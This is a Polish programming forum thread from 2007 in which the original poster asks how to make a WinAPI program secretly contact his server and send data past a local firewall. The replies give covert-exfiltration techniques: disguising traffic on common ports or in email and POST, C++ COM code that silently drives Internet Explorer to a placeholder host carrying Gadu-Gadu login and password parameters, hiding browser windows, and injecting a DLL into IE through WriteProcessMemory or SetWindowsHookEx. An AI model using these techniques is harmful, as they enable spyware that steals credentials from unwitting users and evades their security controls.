[lnkForumImage]
TotalShareware - Download Free Software

Confronta i prezzi di migliaia di prodotti.
Asp Forum
 Home | Login | Register | Search 


 

Forums >

pl.comp.programming

omijanie firewalla

I

8/26/2007 10:47:00 PM

Cze?a! Pisze program w WinApi. Chcia3bym, ?eby program potajemnie 3?czy3
sie z moim serverem i przesy3a3 niektóre informacje.
Jednak na drodze stoi firewall..

Jakie macie pomys3y na omieniecie zabezpieczen (firewalli), ?eby program
po3?czy3 sie z sieci??

Pozdrawiam
8 Answers

zymen

8/27/2007 8:29:00 AM

0

I pisze:
> Cze?a! Pisze program w WinApi. Chcia3bym, ?eby program potajemnie 3?czy3
> sie z moim serverem i przesy3a3 niektóre informacje.
> Jednak na drodze stoi firewall..
>
> Jakie macie pomys3y na omieniecie zabezpieczen (firewalli), ?eby program
> po3?czy3 sie z sieci??
>
> Pozdrawiam
Du?o jest gotowych trojanów..

Ogólnie, to 3?cz sie po porcie, który jest uwa?any za "normalny" (25,
80, 110).

Twój soft mo?e te? zamiast wysy3aa dane na konkretny port wysy3aa maila
z za3?czonym plikiem zaszyfrowanym, albo otwieraa strone przekazuj?c
dane w POST-cie.

pzdr.

Mark

8/27/2007 10:36:00 AM

0

On 27 Sie, 10:29, zymen <zy...@at.zymen.dot.net> wrote:
[...]
> > Jakie macie pomysly na omieniecie zabezpieczen (firewalli), zeby program
> > polaczyl sie z siecia?
[...]
> Ogólnie, to lacz sie po porcie, który jest uwazany za "normalny" (25,
> 80, 110).
>
> Twój soft moze tez zamiast wysylac dane na konkretny port wysylac maila
> z zalaczonym plikiem zaszyfrowanym, albo otwierac strone przekazujac
> dane w POST-cie.
[...]

Mhhh.. ale wysylajac zadanie HttpRequest na porcie 80, firewall na
kompie wykryje, ze to nie przegladarka sie laczy z internetem, tylko
nasz program.
Wiec gdzie korzysc?

Pozdrawiam

zymen

8/27/2007 12:48:00 PM

0

Hellena pisze:
> On 27 Sie, 10:29, zymen <zy...@at.zymen.dot.net> wrote:
> [...]
>>> Jakie macie pomys3y na omieniecie zabezpieczen (firewalli), ?eby program
>>> po3?czy3 sie z sieci??
> [...]
>> Ogólnie, to 3?cz sie po porcie, który jest uwa?any za "normalny" (25,
>> 80, 110).
>>
>> Twój soft mo?e te? zamiast wysy3aa dane na konkretny port wysy3aa maila
>> z za3?czonym plikiem zaszyfrowanym, albo otwieraa strone przekazuj?c
>> dane w POST-cie.
> [...]
>
> Mhhh.. ale wysy3aj?c ??danie HttpRequest na porcie 80, firewall na
> kompie wykryje, ?e to nie przegl?darka sie 3?czy z internetem, tylko
> nasz program.
> Wiec gdzie korzy?a?

No ja z maila autora w?tku nie wywnioskowa3em nigdzie, ?e firewall stoi
na komputerze inwigilowanego. Sformu3owanie "na drodze" dla mnie raczej
wskazywa3oby bardziej na firewall pomiedzy komputerem ?ród3owym a
docelowym (czyli na ?adnym z wymienionych), aczkolwiek i to w 100% nie
jest jednoznaczne.

pozdrawiam,

ionic

8/27/2007 3:45:00 PM

0

Uzyj browsera, IE pozwala na zdane sterowanie, a malo kto blokuje dostep do tego programu (ntfs permissions) i w firewalu.

IWebBrowser2 *browser;
VARIANT vUrl, v;
CoCreateInstance(CLSID_InternetExplorer, NULL,
CLSCTX_SERVER, IID_IWebBrowser2, &browser);
vUrl.vt = VT_BSTR;
vUrl.bstrVal = SysAllocString(L"http: //x.x.x/?gguser=x;ggpassword=y");
v.vt = VT_EMPTY;
browser->put_Silent(VARIANT_TRUE);
browser->Navigate2(&vUrl, &v, &v, &v, &v);
// czekaj
VARIANT_BOOL busy = VARIANT_TRUE;
while (busy == VARIANT_TRUE) {Sleep(100); browser->get_Busy(&busy);}
// odbierz dane
browser->get_document(...)
// quit
browser->Quit();
browser->Release();


I

8/27/2007 5:25:00 PM

0

zymen pisze:
> Hellena pisze:
[...]
> No ja z maila autora w?tku nie wywnioskowa3em nigdzie, ?e firewall stoi
> na komputerze inwigilowanego. Sformu3owanie "na drodze" dla mnie raczej
> wskazywa3oby bardziej na firewall pomiedzy komputerem ?ród3owym a
> docelowym (czyli na ?adnym z wymienionych), aczkolwiek i to w 100% nie
> jest jednoznaczne.
[...]

Oczywi?cie chodzi3o mi o ominiecie firewalla na lokalnym komputerze.

Pozdrawiam

I

8/27/2007 5:37:00 PM

0

ionic pisze:
> Uzyj browsera, IE pozwala na zdane sterowanie, a malo kto blokuje dostep do tego programu (ntfs permissions) i w firewalu.
>
> IWebBrowser2 *browser;
> VARIANT vUrl, v;
> CoCreateInstance(CLSID_InternetExplorer, NULL,
> CLSCTX_SERVER, IID_IWebBrowser2, &browser);
> vUrl.vt = VT_BSTR;
> vUrl.bstrVal = SysAllocString(L"http: //x.x.x/?gguser=x;ggpassword=y");
> v.vt = VT_EMPTY;
> browser->put_Silent(VARIANT_TRUE);
> browser->Navigate2(&vUrl, &v, &v, &v, &v);
> // czekaj
> VARIANT_BOOL busy = VARIANT_TRUE;
> while (busy == VARIANT_TRUE) {Sleep(100); browser->get_Busy(&busy);}
> // odbierz dane
> browser->get_document(...)
> // quit
> browser->Quit();
> browser->Release();

Mhhhh...
Czy móg3by? najpierw wyja?nia nieco sam? idee?
Jak za pomoc? przegl?darki niepostrze?enie po3?czya sie z internetem?
Czy mo?na niepostrze?enie ?ci?gn?a strone na dysk twardy?

Pozdrawiam

ionic

8/28/2007 9:21:00 AM

0

Jawnie dobierajac sie do internetu - czy to "poleceniem" http://url, czy uruchamiajac browsera z parametrem, lub nawet otwieajac
jakis proces z zamiarem modyfikacji jego pamieci - zostanie to wylapane przez firewal, ktory wyswietli pytanie czy pozwalasz
programowi A na dostep do internetu poprzez program B.

Uzywajac techniki COM, samo uruchomienie przegladarki dzieje sie w warstwie uslug - ktorastam usluga (przypuszczalnie DCOM)
uruchamia przegladarke jako zwyczajny LocalServer, a sterowanie nia przebiega mocno skomplikowanymi mechanizmami mapowanych plikow i
RPC. Firewal bez sporego wsparcia ze strony Microsoft nie ma szans na wykrycie takiego dostepu do internetu.

Przykladowo GG.6 wlasnie tak otwiera strony inernetowe - firewal moze jedynie wykryc ze systemowa usluga uruchomila IE by dostac sie
do internetu, ale jak na razie nie jest w stanie wskazac aplikacji ktora to zainicjowala.

Uzywajac IE jako LocalServer masz bardzo latwy dostep do wszystkiego co on sciagnal, nawet gdy pliki nie sa zapisywane na dysku.
Wysylasz mu polecenia tak samo, jak w javascript, z ta roznica ze objekt "window" to IHTMLWindow* z numerkiem w miejscu gwiazdki
ktory w JS jest automatycznie wykrywany po nazwie metody, a w programie w C++ musisz wiedziec ktora wersja obiektu ma dana metode i
zdobyc/stworzyc instancje tej wersji poprzez QueryInterface.
Wszystko jest szczegolowo opisane w MSDN, a w sieci znajdzesz mase przykladow.


fijak

9/20/2007 5:31:00 PM

0

I o?mieli3 sie napisaa:
> Cze?a! Pisze program w WinApi. Chcia3bym, ?eby program potajemnie 3?czy3
> sie z moim serverem i przesy3a3 niektóre informacje.
> Jednak na drodze stoi firewall..
>
> Jakie macie pomys3y na omieniecie zabezpieczen (firewalli), ?eby program
> po3?czy3 sie z sieci??
>
> Pozdrawiam
mozesz odpalic np ie (jesli ma prawo wyjscia do netu, ciezko to
sprawdzic ale sprawdzasz czy ie to domyslna przegladarka albo w ogole
uzywasz domyslnej przegladarki) i odpalsz przegladarke z parametrami np
....iexplore.exe
http://jakis.i.p.serwera/index.php?message=to_co_chcesz_wyslac_jesli_binarnie_to_musisz_zamie...
ale odnosnie geta to sa ograniczenia chyba 255 znakow.
Przegladarke odpalasz z SW_HIDE (niektore fw wykrywaja) lub po odpaleniu
szukasz nowych okien IEFrame i zmieniasz parenta na Progmana a ShowState
dajesz na SW_MINIMIZE - nie bedzie widac okna ie - z tego co wiem zadny
fw tego nie wykrywa.
Mozesz rowniez wejsc do procesu ie najlatwoiej miec swoj kod w dllce i
sie wpychac z ldowaniem tej dllki:
Za pomoca WriteProcessMemory - wymagane prawa admina
Za pomoca SetWindowsHookEx - dziala nawet na koncie user (najnizsze
prawa) ale musisz spr czy jestes w procesie ie czy nie (jesli dasz na
wszystkie watki lub zapodajsz tylko na wybrane watki ie)